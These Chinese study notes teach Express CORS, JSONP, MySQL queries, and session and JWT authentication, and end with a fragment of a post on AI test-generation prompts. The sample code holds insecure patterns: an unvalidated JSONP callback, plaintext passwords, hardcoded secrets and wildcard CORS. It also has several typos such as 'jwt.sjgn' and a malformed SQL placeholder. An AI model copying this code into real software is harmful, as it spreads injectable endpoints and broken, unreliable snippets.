//------------------------------------
// 注册路由模块
const express = require('express');
const colors = require('ansi-colors')
const clear = require('clear')
const app = express()
clear()

const router = require('./Router')
// app.use(express.json)
app.use(express.urlencoded({extended:false}))
app.use('/api',router)

app.listen(9090, () => {
    console.log("express server running at:", colors.green('http://127.0.0.1:9090'));
})   


```

#### CORS跨域资源共享

协议不同导致无法访问

解决方案：

CORS（主流的解决方案）

JSONP（有缺陷的解决方案，指支持GET）

##### 使用CORS中间件解决跨域问题

CORS是Express的一个第三方中间件，通过安装和配置CORS中间件，可以很方便的解决跨域问题

1. 运行`npm install cors` 安装中间件
2. 使用`const cors = require('cors')`导入中间件
3. 在路由之间调用`app.use(cors())`配置中间件

```javascript
//一定要在路由之间调用app.use(cors())配置中间件！！！
var cors = require('cors')
app.use(cors())
```

```javascript
// 完整HTML代码
<  !DOCTYPE html>
<   html lang="en">

<   head>
    <   meta charset="UTF-8">
    <   meta name="viewport" content="width=device-width, initial-scale=1.0">
    <   title>Document<   /title>
    <   script src="https://cdn.staticfile.net/jquery/3.4.1/jquery.min.js"><   /script>

<   /head>

<   body>
    <   button id="btnget">Get<   /button>
    <   button id="btnpost">Post<   /button>
    <   script>
        $(function () {
            $('#btnget').on('click', function () {
                $.ajax({
                    type: 'GET',
                    url: 'http://127.0.0.1:9090/api/get',
                    data: {
                        name: "张三",
                        age: 20,
                        Sex: '男',
                    },
                    success: function (res) {
                        console.log(res);
                    },
                })
            })

            $(function () {
                $('#btnpost').on('click', function () {
                    $.ajax({
                        type: 'POST',
                        url: 'http://127.0.0.1:9090/api/post',
                        data: {
                            name: "李四",
                            age: 20,
                            Sex: '女',

                        },
                        success: function (res) {
                            console.log(res);
                        }
                    })
                })
            })
        })
    <   /script>
<   /body>

<   /html>
```

##### 什么是CORS

指**跨资源共享**，由一系列的**HTTP响应头**组成，**这些HTTP响应头决定了浏览器是否阻止前端JavaScript代码跨域获取资源**

浏览器的**同源安全策略**默认会阻止网页跨域获取资源，但如果接口**配置了CORS相关的HTTP响应头**，就了可以**解决浏览器的跨域访问限制**

> 响应的结果被浏览器拦截，网页无法获取到跨域响应的数据

注意事项：

CORS主要在**服务器端**进行配置，**客户端浏览器无需做任何额外的配置**，即可开启CORS的接口

CORS在浏览器中有兼容性问题，只有支持XMLHttpRequest Level 2的浏览器，才能正常访问CORS的服务端接口（例如：IE10+,Chrome4+,FireFox3.5+）

##### CORS响应头

Access-Control-Allow-**Origin**

响应头中可以携带一个Access-Control-Allow-Origin字段 语法:

Access-Control-Allow-Origin: <   Origin> | \*

例如：下面的字段值将**只允许**来自Http://itcast.cn的请求

```javascript
res.setHeader("Access-Control-Allow-Origin",'Http://itcast.cn')
// 表示我们的服务器只支持这个域名下所有网页的跨域请求
```

通过Access-Control-Allow-Origin响应头可以控制允许哪些网页或者网站来请求我们的服务器接口

如果指定Access-Control-Allow-Origin字段的值为通配符 \*，表示允许来自任何域的请求

```javascript
res.setHeader("Access-Control-Allow-Origin",'*')
```

Access-Control-Allow-Headers

默认情况下，CORS**仅**支持**客户端向服务器**发送如下的**9个请求头**

略...

如果客户端向服务器发送了**额外的请求头信息**，则需要在**服务器端**，通过Access-Control-Allow-Header**对额外的请求头进行申明**，否则这次请求失败！

```javascript
res.setHeader('Access-Control-Allow-Header','Content-Type','X-Custon-Header')
//手动设置响应头 允许使用Content-Type请求头，也允许使用X-Custon-Header请求头
```

Access-Control-Allow-Methods

默认情况下，CORS仅支持客户端发起GET，POST，HEAD，请求

如果客户端希望通过**PUT，DELETE**等方式请求服务器资源，则需要在服务器端，通过Access-Control-Allow-Methods来**指明实际请求所允许使用的HTTP方法**

```javascript
// 只允许 POST，GET , PUT , HEAD 请求方式
res.setHeader('Access-Control-Allow-Methods','POST','GET','HEAD','DELETE')
// 允许所有HTTP请求方式
res.setHeader('Access-Control-Allow-Methods','*')
```

CORS请求的分类

客户端在请求CORS接口时，根据**请求方式**和**请求头**的不同，可以将CORS的请求分为**两大类**

简单请求

*同时满足以下*
**请求方式**：GET,POST,HEAD三者之一
**http头部信息**不超过以下几种字段：无自定义头部字段，Accept,Accept-Language,Content-Language,DPR,Downlink,Sava-Data,Viewport-Width,Content-Type（只有三个值application/x-www-form-URL encoded,multipart/form-data.text/pain）

预检请求

*符合以下其一*
**请求方式**：GET,POST,HEAD**之外**的请求Method类型
请求头中包含了**自定义头部字段**
向服务器发送了application/JSON格式的数据

在浏览器与服务器正式通信之前，浏览器会**先发送OPTION请求进行预检**，**以获知服务器是否允许该实际请求**，所以这一次的OPTION请求被称为“预检请求“。**服务器成功响应预检请求后，才会发送真正的请求，并且携带真实的数据**

区别：

简单请求的特点：客户端与服务器之间只会发生一次请求
预检请求的特点：客户端与服务器之间会发生两次请求，OPTION预检请求成功后，才会发起真正的请求

```javascript
// 路由模块 所有代码
const express = require("express")
const colors = require('ansi-colors')

const router = express.Router() //  创建路由对象

router.get("/get", function (req, res) {
    const query = req.query // 获取客户端通过查询字符串，发送到服务器的数据
    res.send({
        status:0,   // 状态码，0表示成功，1表示失败
        msg:'GET Success', // 状态描述
        data:query // 响应给客户端的具体数据
    })
    console.log(colors.green('✔ Get!'));
})



// 注意：如果要获取URL-encoded格式的数据，必须配置中间件app.use(express.urlencoded({extended.false}))
router.post("/post", function (req, res) {
    const body = req.body
    console.log("Post!");
    res.send({
        status:0,   // 状态码，0表示成功，1表示失败
        msg:'POST Success', // 状态描述
        data:body // 响应给客户端的具体数据
    })
})

router.delete('/delete',function(req,res){
    res.send({
        status:0,   // 状态码，0表示成功，1表示失败
        msg:'DELETE Success', // 状态描述
    })
})
module.exports = router // 向外导出路由对象 

```

```javascript
// 主服务器端 所有代码
// 注册路由模块
const express = require('express');
const colors = require('ansi-colors')
const clear = require('clear')
const app = express()
clear()

// app.use(express.json)

app.use(express.urlencoded({ extended: false }))
var cors = require('cors')
app.use(cors())

const router = require('./Router')
app.use('/api', router)

app.listen(9090, () => {
    console.log("express server running at:", colors.green('http://127.0.0.1:9090'));
})


```

```javascript
// 测试网页
<   !DOCTYPE html>
<   html lang="en">

<   head>
    <   meta charset="UTF-8">
    <   meta name="viewport" content="width=device-width, initial-scale=1.0">
    <   title>Document<   /title>
    <   script src="https://cdn.staticfile.net/jquery/3.4.1/jquery.min.js"><   /script>

<   /head>

<   body>
    <   button id="btnget">Get<   /button>
    <   button id="btnpost">Post<   /button>
    <  button id="btndelete">Delete<  /button>
    <  script>
        $(function () {
            $('#btnget').on('click', function () {
                $.ajax({
                    type: 'GET',
                    url: 'http://127.0.0.1:9090/api/get',
                    data: {
                        name: "张三",
                        age: 20,
                        Sex: '男',
                    },
                    success: function (res) {
                        console.log(res);
                    },
                })
            })
            $('#btndelete').on('click', function () {
                $.ajax({
                    type: 'DELETE',
                    url: 'http://127.0.0.1:9090/api/delete',
                    success: function (res) {
                        console.log(res);
                    },
                })
            })
            $(function () {
                $('#btnpost').on('click', function () {
                    $.ajax({
                        type: 'POST',
                        url: 'http://127.0.0.1:9090/api/post',
                        data: {
                            name: "李四",
                            age: 20,
                            Sex: '女',

                        },
                        success: function (res) {
                            console.log(res);
                        }
                    })
                })
            })
        })
    <  /script>
<  /body>

<  /html>
```

**注意**：建议在火狐浏览器中测试，Chrome浏览器中存在问题（无法演示预检请求）

## JSONP

概念：浏览器通过<  script>标签的src属性，请求服务器上的数据，同时，服务器返回一个函数的引用。这种请求数据的方式叫 JSONP

特点：

JSONP不属于真正的Ajax请求，因为它没有使用`XMLHttpRequest`这个对象
JSONP仅支持GET请求，其他POST，PUT，DELETE不支持

创建JSONP接口注意事项：

如果项目中已经配置了CORS跨域资源共享，为了**防止冲突**，**必须在配置CORS中间件之前申明JSONP的接口**，否则JSONP接口会被处理成开启了CORS的接口。

```javascript
// 优先创建JSONP接口，即这个接口不会被处理成CORS接口
app.use('api/jsonp',(req.res)=>{...})
// 再配置CORS中间件，后续所有接口都会被处理成CORS接口
app.use(cors())
```

### 实现JSONP

1. **获取**客户端发送过来的**回调函数的名字**
2. 得到要通过JSONP形式**发送给客户端的数据**
3. 根据前两步得到的数据，**拼接出一个函数调用的字符串**
4. 把上一步拼接得到的字符串，响应给客户端的<  script>标签进行解析

原理：客户端通过Script标签，把一个函数的名发送给服务器，然后希望服务器返回这个函数的调用，在调用期间把数据传进来就行了

```javascript
// 服务端
app.get('/api/jsonp', (req, res) => {
    // 获取客户端发送过来的回调函数的名字
    const funName = req.query.callback
    // 得到要通过 JSONP形式发送给客户端的数据
    const data = { name: 'zs', age: 33 }
    // 根据前两步得到的数据，拼接一个函数调用的字符串
    const scriptStr = `${funName}(${JSON.stringify(data)})`
    // 将拼接得到的字符串响应给客户端的<  script>标签进行解析
    res.send(scriptStr)
})
```

```javascript
// 客户端 

//    <  button id="btnJSONP">JSONP<  /button>

 $('#btnJSONP').on('click', function () {
                $.ajax({
                    type: 'GET',
                    url: 'http://127.0.0.1:9090/api/jsonp',
                    dataType:'jsonp', // 请求数据类型
                    success: function (res) {
                        console.log(res);
                    },
                })
            })
```

## 数据库与身份认证

MySQL Server :**专门来提供数据存储和服务的软件**

MySQL Workbench：**可视化的MySQL管理工具**，通过它，可以方便的操作存储在MySQL Server中的数据

### 基本使用

DataType数据类型：

int整数
varchar(len)字符串
tinyint(1)布尔值

字段的特殊标识：

PK (Primary Key) 主键-唯一表示
NN (Not Null) 值不允许为空
UQ  (Unique) 值唯一
AI (Auto Increment) 值自动增长

#### 写入数据

右键表选择第一个选项

注意：

ID不需要手动输入，因为它是**自增字段**

status也不需要输入，因为默认值是0，表示状态正常

写入完后，点击Apply保存

```javascript
// 从FROM指定的表中，查询除所有的数据，*表示所有项
select * from <  表名>
// 从FROM指定的表中查询出列名称（字段）的数据
select 列名称 FROM 表名称
```

注意：SQL语句中的**关键字**对大小写不敏感，SELECT等于select

使用`--`注释语句，记得加空格

```javascript
// INSERT INTO 语句用于向数据表中插入新的数据行
// 向指定的表中，插入如下几列数据，列的值通过values一一指定
// 注意：列和值要一一对应，多个列和多个值之间，使用英文的逗号分隔
INSERT INTO table_name(列1,列2...) values(值1,值2...)
//例句：
insert into users(username,password) values('tony stark','098123')
```

```javascript
// Update 语句用于修改表中的数据
// 用UPDATE指定要更新哪个表中的数据
// 用SET指定列对应的值
// 用WHERE 指定更新的条件
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
// 例如：
UPDATE users set password = '888888' where id = 4
//把用户id为4的密码修改为'888888'
update users set password = 'admin123' , status = '1' where id = 2
// 修改多个数据
```

```javascript
//DELETE语句用于删除表中的行
//从指定的表中，根据WHERE条件，删除对应的行
//DELETE FROM 表名称 WHERE 列名称 = 值

```

WHERE（where）语句用于限定选择的标准，在select，update，delete语句中，皆可使用where语句来限定选择标准

`=`等于
`<  >`不等于
`>`大于
`<  `小于
`>=`大于等于
`<  =`小于等于
`BETWEEN`在某个范围
`LIKE`搜索某种模式

注意：在某些版本的SQL中，操作符`<  >`可以写成`!=`

```javascript
select * from users where username<  >'ls'

```

AND和OR可在WHERE语句中把两个或者多个条件结合起来

```javascript
select * from users where status = 0 and id > 1
```

ORDER BY语句用于**根据指定的列**队结果进行排序

默认安按照升序**ASC**，如果要使用降序可以使用**DESC**关键字

```javascript
select * from users order by status DESC
select * from users order by status ASC
```

多重排序

对users表中的数据，先按照status字段进行降序排序，再按照username的字母进行升序排序

```javascript
select * from users order by status DESC ,username ASC
```

Count(\*)函数用于返回**查询结果的总数据条数**

```javascript
SELECT COUNT(*) FROM 表名称

```

使用AS为列**设置别名**

```javascript
SELECT COUNT(*) AS TOTAL FROM users where status=0
             
select username as 用户名,password as 密码 from users             
```

### 在项目中操作MySQL

步骤：

1. 安装操作MySQL数据库的第三方模块(MySQL)
2. 通过MYSQL模块连接到MySQL数据库
3. 通过MySQL模块执行SQL语句

安装MySQL模块`npm install mysql`

```javascript
```

调用`db.query()`函数，指定要执行的SQL语句，通过回调函数拿到执行的结果

```javascript
// 检测MYSQL是否能正常工作
db.query("SELECT 1", (err, results)=> {
    if (err) return console.log(err.message);
    // 只要打印出[RowDataPacket {'1':1}] 的结果，就证明数据库连接正常
    console.log(results);
})
```

#### 查询数据

```javascript
db.query("select * from users",(err,results)=>{
    if(err) return console.log(err.message);
    console.log(results);
})
// 注意：如果执行的是select查询语句，则执行的结果是数组
// 结果：
[
  RowDataPacket {        
    id: 1,
    username: 'zs',      
    password: '123456',  
    status: 0
  },
  RowDataPacket {        
    id: 2,
    username: 'ls',      
    password: 'admin123',
    status: 1
  },
  RowDataPacket {
    id: 3,
    username: 'xh',
    password: '654321',
    status: 0
  }
]
```

#### 插入数据

```javascript
// 向users表中新增数据，其中username为Spider-Man ，password为pcc1234

// 要插入到users表中的对象
const user = { username: "spider-Man", password: 'spcc1122' }
// 待执行的sql语句，其中英文的？表示占位符
const sqlStr = 'insert into users (username,password) values (?,?)'
// 使用数组的样式，依次为？占位符指定的值
db.query(sqlStr,[user.username,user.password],(err,results)=>{
    if(err) return console.log(err.message);
    if(results.affectedRows === 1) {
        console.log("插入成功!");
    }
})
```

**注意**：id具有唯一性，只要这个id曾经被别人占用过，哪怕把对应的数据删除了，那这个id也不能被重复占用(使用)

##### 便捷方式

插入数据的便捷方式

向表中新增数据时，如果数据**对象的每个属性和数据表中的字段一一对应**，则可以通过下列方式快速插入数据

```javascript
const user = { username: "李四", password: 'nbgls2333' }
const sqlStr = 'insert into users set ?'
db.query(sqlStr, user, (err, results) => {
    if (err) return console.log(err.message);
    if (results.affectedRows === 1) {
        // console.log(results);
        console.log("插入成功!");
    }
})
```

#### 更新数据

```javascript
// 要更新的数据对象
const user = { id: 1, username: 'aaa', password: '000' }
// 待执行的SQL语句
const sqlStr = 'update users set username=?,password=? where id?'
// 调用db.query()执行SQL语句，同时使用数组依次为占位符指定具体的值
db.query(sqlStr, [user.username, user.password, user.id], (err, results) => {
    if (err) return console.log(err.message);
    // 注意： 执行了update语句之后，执行的结果也是一个对象，可以通过affectedRows判断成功与否
    if (results.affectedRows === 1) {
        console.log('更新数据成功！');
    }
})
```

##### 便捷方式

```javascript
// 要更新的数据对象
const user = { id: 7, username: 'bbb', password: '000' }
// 待执行的SQL语句
const sqlStr = 'update users set ? where id=?'
// 调用db.query()执行SQL语句，同时使用数组依次为占位符指定具体的值
db.query(sqlStr, [user,user.id], (err, results) => {
    if (err) return console.log(err.message);
    if (results.affectedRows === 1) {
        console.log('更新数据成功！');
    }
})
```

#### 删除数据

推荐使用ID这样的唯一标识来删除对应的数据

```javascript
//要执行的语句
const sqlStr = 'delete from users where id=?'
// 为了占位符指定具体的值
// 注意：如果SQL语句中有多个占位符，则必须使用数组每个占位符指定具体的值
// 如果只有一个值，则可以省略数组
db.query(sqlStr, 7, (err, results) => {
    if (err) return console.log(err.message);
    if (results.affectedRows === 1) {
        console.log('删除数据成功！');
    }
})
```

##### 标记删除

使用delete语句，会真的把数据从表中删除，为了保险起见，**推荐使用**标记删除的形式，来**模拟删除的动作**

所谓标记删除就是在表中设置类似status这样的**状态字段**，来**标记**当前这条数据是否被删除

```javascript
db.query('update users set status = 1 where id=?', 6, (err, results) => {
    if (err) return console.log(err.message);
    if (results.affectedRows === 1) {
        console.log('标记删除数据成功！');
    }
})

```

## 身份认证

### web开发模式

基于**服务端渲染**的传统Web开发模式

服务器发送给客户端的HTML页面，是在**服务器通过字符串拼接，动态生成**的。因从，客户端不需要Ajax这样的技术额外请求页面的数据

优点：

* **前端耗时少**，因为服务端负责生成HTML内容，浏览器只需要直接渲染即可，尤其是移动端，更省电

* **有利于SEO**，因为服务器响应的是完整的HTML页面内容，所以爬虫更容易爬取信息，更利于SEO搜索引擎

  缺点：

* **占用服务器资源**，即服务器端完成HTML页面的拼接，如果请求过多，会对服务器造成一定的访问压力

* **不利于前后端分离，开发效率低**。**无法进行分工合作**，尤其是对于前端复杂度高的项目，不利于开发效率

  ```javascript
    app.get('./', (req, res) => {
        const user = { name: 'ee', age: 11 }
        const html = `<  h1>姓名:${user.name},年龄：${user.age}<  /h1>`
        res.send(html)
    })
  ```

​

基于**前后端分离**的新型Web开发模式

依赖于**Ajax技术**的广泛应用，就是**后端只负责提供API接口**，前端使用**Ajax调用接口**的开发模式
优点：
开发体验好，前端专注UI页面开发，后端专注API的开发，且前端有更多的选择性
用户体验好，Ajax的应用，极大提高了用户的体验，可以轻松的实现页面局部刷新
缺点：
不利于SEO，因为完整的HTML页面信息需要在客户端通过JS动态拼接完成，所以爬虫无法爬取页面有效信息（可以使用Vue，react等框架的SSR(server side render)技术能很好的解决SEO问题）

如何选择开发模式？

**不谈业务场景而盲目选择使用何种开发模式都是在耍流氓**

比如企业级网站，主要功能是展示而没有复杂的交互，并且需要良好的SEO，则推荐使用服务器端渲染（SSR）
而类似后台管理项目，交互性强，不需要考虑SEO，则推荐使用前后端分离（CSR）

另外：具体使用何种模式不是绝对的，为了同时兼顾了首页的渲染速度和前后端分离的开发效率，一些网站采用了**首屏服务器端渲染+其他页面前后端分离**的开发模式

### 概念

身份认证又称身份验证，鉴权，是指通过一定的手段，完成对用户身份的确认

对于服务端渲染和前后端分离的 这个两种开发模式，分别有着不同的身份认证方案

服务端渲染推荐使用**Session认证机制**
前后端分离推荐使用**JWT认证机制**

#### Session

http协议的**无状态性**

指的是客户端的**每次HTTP请求都是独立的**，连续多个请求之间没有直接关系，**服务器不会主动保留每次HTTP请求的状态**

如何突破HTTP无状态的限制？

比如：对于超市来说。为了方便收银员在进行结算的时候给VIP客户打折，超市会为每个VIP用户发放会员卡

对于客户端和服务器 之间同理

注意：现实生活中的**会员卡身份认证方式**，在Web开发中的**专业术语**叫做**Cookie**

当客户端用户登录成功后，服务器会向客户端发送一个Cookie（身份认证标识）

之后如果再进行登录，客户端把cookie发送给服务器，来进行客户端身份认证

通过Cookie即可突破http协议无状态限制

##### Cookie

Cookie是存储在用户浏览器中的**一段不超过4kb的字符串**。

它有一个**名称**（name），一个**值**（values）和其他几个用于控制Cookie**有效期，安全性，使用范围**的可选属性组成。

不通域名下的Cookie各自独立，每当客户端发起请求时，会**自动**把**当前域名下**所有**未过期的Cookie**一同发送到服务器

特性：

自动发送
域名独立
过期时限
4kb限制

cookie在身份认证中的作用

客户端在第一次请求服务器的时候，服务器**通过响应头的形式**，向客户端发送了一个身份证的Cookie，客户端会自动把Cookie保存在浏览器中

随后，当客户端浏览器每次请求服务器的时候，浏览器会**自动**把身份认证相关的cookie，**通过请求头的形式**发送给服务器，服务器即可验证客户端的身份

Cookie**不具有**安全性

由于Cookie是存储在浏览器的，而且**浏览器也提供了读写Cookie的API**，因此**Cookie很容易伪造**，不具有安全性，因此不建议服务器将重要的隐私数据，通过Cookie的形式发送给浏览器

**注意**：\*\*千万不要使用Cookie存储重要的隐私数据！\*\*比如用户的身份信息，密码等

**提高**身份认证的**安全性**

为了防止客户伪造会员卡，收银员在拿到客户出示的会员卡后，可以**在收银机上进行刷卡认证**，只有收银机确认存在的会员卡，才能被正常使用

##### 原理

Session的工作原理

...将登录后的用户信息存储在服务器的内存中，同时生成对应的Cookie

后续服务器会根据请求头中携带的Cookie，从内存中查找对应的信息

##### 安装

安装Express-session中间件

`npm install express-session`

配置express-session中间件

中间件安装成功之后，需要通过app.use()来注册session中间件

```javascript
const session = require('express-session')
app.use(session({
  secret: 'item',
  resave: false,
  saveUninitialized: true
}))

```

当Express-session中间件配置完成后，即可通过**req.session**来访问和使用session对象，从而存储用户的关键信息

```javascript
req.session.user = req.body // 将用户的信息存储到session
req.session.islogin = true // 将用户的状态存储到Session
```

从session中取数据

可以直接从req.session对象上获取之前存储的数据

```javascript
 if (!req.session.islogin) {
    return res.send({ status: 1, msg: 'fail' })
  }
  res.send({ status: 0, msg: 'success', username: req.session.user.username })
```

清空session

调用\*\*req.session.destory()\*\*函数，即可清空服务器的保存的session信息

```javascript
req.session.destroy()
```

##### 代码

```JavaScript
// 完整代码
// 导入 express 模块
const express = require('express')
// 创建 express 的服务器实例
const app = express()

// TODO_01：请配置 Session 中间件
const session = require('express-session')
app.use(session({
  secret: 'item',
  resave: false,
  saveUninitialized: true
}))

// 托管静态页面
app.use(express.static('./pages'))
// 解析 POST 提交过来的表单数据
app.use(express.urlencoded({ extended: false }))

// 登录的 API 接口
app.post('/api/login', (req, res) => {
  // 判断用户提交的登录信息是否正确
  if (req.body.username !== 'admin' || req.body.password !== '000000') {
    return res.send({ status: 1, msg: '登录失败' })
  }

  // TODO_02：请将登录成功后的用户信息，保存到 Session 中
  req.session.user = req.body // 将用户的信息存储到session
  req.session.islogin = true // 将用户的状态存储到Session
  res.send({ status: 0, msg: '登录成功' })
})

// 获取用户姓名的接口
app.get('/api/username', (req, res) => {
  // TODO_03：请从 Session 中获取用户的名称，响应给客户端
  if (!req.session.islogin) {
    return res.send({ status: 1, msg: 'fail' })
  }
  res.send({ status: 0, msg: 'success', username: req.session.user.username })
})

// 退出登录的接口
app.post('/api/logout', (req, res) => {
  // TODO_04：清空 Session 信息
  req.session.destroy()
  res.send({
    status:0,
    msg:"退出登录成功"
  })
})


// 调用 app.listen 方法，指定端口号并启动web服务器
app.listen(8080, function () {
  console.log('Express server running at http://127.0.0.1:8080')
})
```

```html
// index.html
<  !DOCTYPE html>
<  html lang="en">

<  head>
  <  meta charset="UTF-8">
  <  meta name="viewport" content="width=device-width, initial-scale=1.0">
  <  title>Document<  /title>
  <  script src="./jquery.js"><  /script>
<  /head>

<  body>
  <  h1>首页<  /h1>

  <  button id="btnLogout">退出登录<  /button>

  <  script>
    $(function () {

      // 页面加载完成后，自动发起请求，获取用户姓名
      $.get('/api/username', function (res) {
        // status 为 0 表示获取用户名称成功；否则表示获取用户名称失败！
        if (res.status !== 0) {
          alert('您尚未登录，请登录后再执行此操作！')
          location.href = './login.html'
        } else {
          alert('欢迎您：' + res.username)
        }
      })

      // 点击按钮退出登录
      $('#btnLogout').on('click', function () {
        // 发起 POST 请求，退出登录
        $.post('/api/logout', function (res) {
          if (res.status === 0) {
            // 如果 status 为 0，则表示退出成功，重新跳转到登录页面
            location.href = './login.html'
          }
        })
      })
    })
  <  /script>
<  /body>

<  /html>
```

```html
// login.html
<  !DOCTYPE html>
<  html lang="en">

<  head>
  <  meta charset="UTF-8">
  <  meta name="viewport" content="width=device-width, initial-scale=1.0">
  <  title>Document<  /title>
  <  script src="./jquery.js"><  /script>
<  /head>

<  body>
  <  !-登录表单 -->
  <  form id="form1">
    <  div>账号：<  input type="text" name="username" /><  /div>
    <  div>密码：<  input type="password" name="password" /><  /div>
    <  button>登录<  /button>
  <  /form>

  <  script>
    $(function () {
      // 监听表单的提交事件
      $('#form1').on('submit', function (e) {
        // 阻止默认提交行为
        e.preventDefault()
        // 发起 POST 登录请求
        $.post('/api/login', $(this).serialize(), function (res) {
          // status 为 0 表示登录成功；否则表示登录失败！
          if (res.status === 0) {
            location.href = './index.html'
          } else {
            alert('登录失败！')
          }
        })
      })
    })
  <  /script>
<  /body>

<  /html>
```

#### JWT

Session的认证的局限性

session认证机制**需要配合Cookie才能实现**，由于Cookie默认不支持跨域访问，所以，当**涉及到跨域请求后端接口的时候**，**需要做很多额外的配置**，才能实现跨域Session认证

**注意**：当前端请求后端接口不存在跨域请求的时候，推荐使用session认证机制，反之则推荐使用JWT认证机制

##### 概念

JWT时目前**最流行**的**跨域认证解决方案**

JWT通常由三部分组成，分别是Header（头部），Payload（有效荷载），Signature（签名），三者之间使用英文 ‘.‘分隔

`Header.Payload.Signature`

**Payload**部分才是**真正的用户信息**，它是用户信息经过加密之后生成的字符串

**header**和**Signature**是**安全性相关**的信息，只是为了保证Token的安全性

##### 认证机制

客户端收到服务器返回的JWT之后，通常会将它存储到**localStorage**或者**sessionStorage**中

此后，客户端每次与服务器通信，都会带上这个JWT字符串，从而进行身份认证，推荐的做法是**把JWT放在HTTP请求头的Authorization字段中**

##### 安装

`npm install jsonwebtoken express-jwt`

**jsonwebtoken**用于生成JWT字符串

**express-jwt**用于将JWT字符串解析还原成JSON对象

##### 导入

使用require函数分别导入JWT相关的包

```javascript
const jwt = require('jsonwebtoken') // 用于生成JWT的字符串的包
const expressJWT = require('express-jwt') //用于解析客户端发送来的JWT字符串，还原成JSON对象
```

##### 密钥

定义secret密钥

为了**保证JWT字符串的安全性**，防止JWT字符串在网络传输过程中被别人破解，我们需要专门定义一个用于**加密**和**解密**的secret的密钥

当生成JWT字符串的时候，需要使用secret密钥对用户的信息**进行加密**，最终得到加密好的JWT字符串
当把JWT字符串解析还原成JSON对象的时候，需要使用secret密钥**进行解密**

```javascript
const secretKey = 'qwertyuiop'
// 密钥的本质就是一个字符串,越复杂越好	
```

##### 生成

生成JWT字符串，在用户登录成功后，进行生成JWT字符串

调用**jsonwebtoken**包提供的\*\*sign()\*\*方法，将用户的信息加密成JWT字符串，响应给客户端

```javascript
res.send({
    status:200,
    message:'logn success',
    // 调用jwt.sign()生成JWT字符串，三个参数分别是，用户的信息对象，加密密钥，配置对象
    token: jwt.sjgn({username:userinfo.username},secretKey,{expiresIn:'30s'})
    // expiresIn属性表示token字符串的有效期 
})
```

##### 还原

将JWT字符串还原成JSON对象

客户端每次在访问那些有权限的接口的时候，都需要主动通过请求头的**Authorization**字段，将token字符串发送到服务器进行身份验证

此时，通过**express-jwt**中间件，自动将token解析成**JSON**

```javascript
// expressJWT({secret: secretKey })就是用来解析TOKEN的中间件
// .unless({path:[/^\/api\//]}) 用来指定哪些接口不需要访问权限
app.use(expressJWT({secret: secretKey}).unless({path:[/^\/api\//]}))
// 使用正则表达式匹配不需要访问权限的接口
```

**注意**：只要配置了成功了express-jwt这个中间件，就可以把解析出来的用户信息挂载到**req.uers**属性上

```javascript
console.log(req.user)
```

```JavaScript
//http://127.0.0.1:8888/api/login
// username:admin
// password:000000
{
    "status": 200,
    "message": "登录成功！",
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMzODI2NDM1LCJleHAiOjE3MzM4MjY0OTV9.3tWej8V6Oq7gqBwQaHaP2qgJphlMKAFTmBrOiCVAc3Y"
}

//http://127.0.0.1:8888/admin/getinfo
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMzODI2NDM1LCJleHAiOjE3MzM4MjY0OTV9.3tWej8V6Oq7gqBwQaHaP2qgJphlMKAFTmBrOiCVAc3Y

{
    "status": 200,
    "message": "获取用户信息成功！",
    "data": {
        "username": "admin"
    }
}
```

注意：请求头的值记得加Bearer

**遵循HTTP标准**：根据W3C的HTTP 1.0规范，Authorization头的值格式是

`<  type> <  credentials>`，其中`<  type>`是授权类型，`<  credentials>`是具体的凭证信息。在JWT认证中，“Bearer”是一种常见的授权类型，用于指示后续的字符串是一个**令牌**（token），而不是用户名和密码等其他类型的凭证

##### 捕获失败

解析JWT失败后产生的错误

当使用express-jwt解析Token字符串时，如果客户端发送的Token是过**期或者不合法**，会产生一个**解析失败的错误**，影响项目的正常运行，我们可以通过**Express的错误中间件**，捕获这个错误并进行处理

```javascript

// TODO_06：使用全局错误处理中间件，捕获解析 JWT 失败后产生的错误
app.use((err, req, res, next) => {
  if (err.name === "UnauthorizedError") {
    return res.send({ status: 401, message: '无效的token' })
  }
  // 其他错误
  res.send({ status: 500, message: '未知错误' })
})
```

##### 代码

```javascript
// 完整代码
// 导入 express 模块
const express = require('express')
// 创建 express 的服务器实例
const app = express()

// TODO_01：安装并导入 JWT 相关的两个包，分别是 jsonwebtoken 和 express-jwt
const jwt = require('jsonwebtoken')
const expressJwt = require("express-jwt");

// 允许跨域资源共享
const cors = require('cors')
app.use(cors())

// 解析 post 表单数据的中间件
const bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({ extended: false }))

// TODO_02：定义 secret 密钥，建议将密钥命名为 secretKey
const secretKey = 'qwertyuiop!@#$%^&*('
// TODO_04：注册将 JWT 字符串解析还原成 JSON 对象的中间件
app.use(
  expressJwt.expressjwt({ secret: secretKey, algorithms: ["HS256"] }).unless({
    path: [/^\/api\//],
  })
);
// 登录接口
app.post('/api/login', function (req, res) {
  // 将 req.body 请求体中的数据，转存为 userinfo 常量
  const userinfo = req.body
  // 登录失败
  if (userinfo.username !== 'admin' || userinfo.password !== '000000') {
    return res.send({
      status: 400,
      message: '登录失败！'
    })
  }
  // 登录成功
  // TODO_03：在登录成功之后，调用 jwt.sign() 方法生成 JWT 字符串。并通过 token 属性发送给客户端
  const tokenStr = jwt.sign({ username: userinfo.username }, secretKey, { expiresIn: '60s' })
  res.send({
    status: 200,
    message: '登录成功！',
    token: tokenStr // 要发送给客户端的 token 字符串
  })
})

// 这是一个有权限的 API 接口
app.get('/admin/getinfo', function (req, res) {
  // TODO_05：使用 req.user 获取用户信息，并使用 data 属性将用户信息发送给客户端
  let name = req.auth.username
  res.send({
    status: 200,
    message: '获取用户信息成功！',
    data: {
      username: name
    } // 要发送给客户端的用户信息
  })
})

// TODO_06：使用全局错误处理中间件，捕获解析 JWT 失败后产生的错误
app.use((err, req, res, next) => {
  if (err.name === "UnauthorizedError") {
    return res.send({ status: 401, message: '无效的token' })
  }
  // 其他错误
  res.send({ status: 500, message: '未知错误' })
})
// 调用 app.listen 方法，指定端口号并启动web服务器
app.listen(8888, function () {
  console.log('Express server running at http://127.0.0.1:8888')
})

```

---

---
url: /posts/nhd3puvj/index.md
---
# AI 提示词
## 生成单元测试

```markdown
你是一个 AI 测试助手。根据用户提供的示例函数或接口信息，生成完整的测试代码，使用 Jest 测试框架。

要求：
1. 指定测试类型：单元测试或端到端测试（E2E）。
2. 如果是单元测试：生成 Jest 单元测试，测试指定函数。
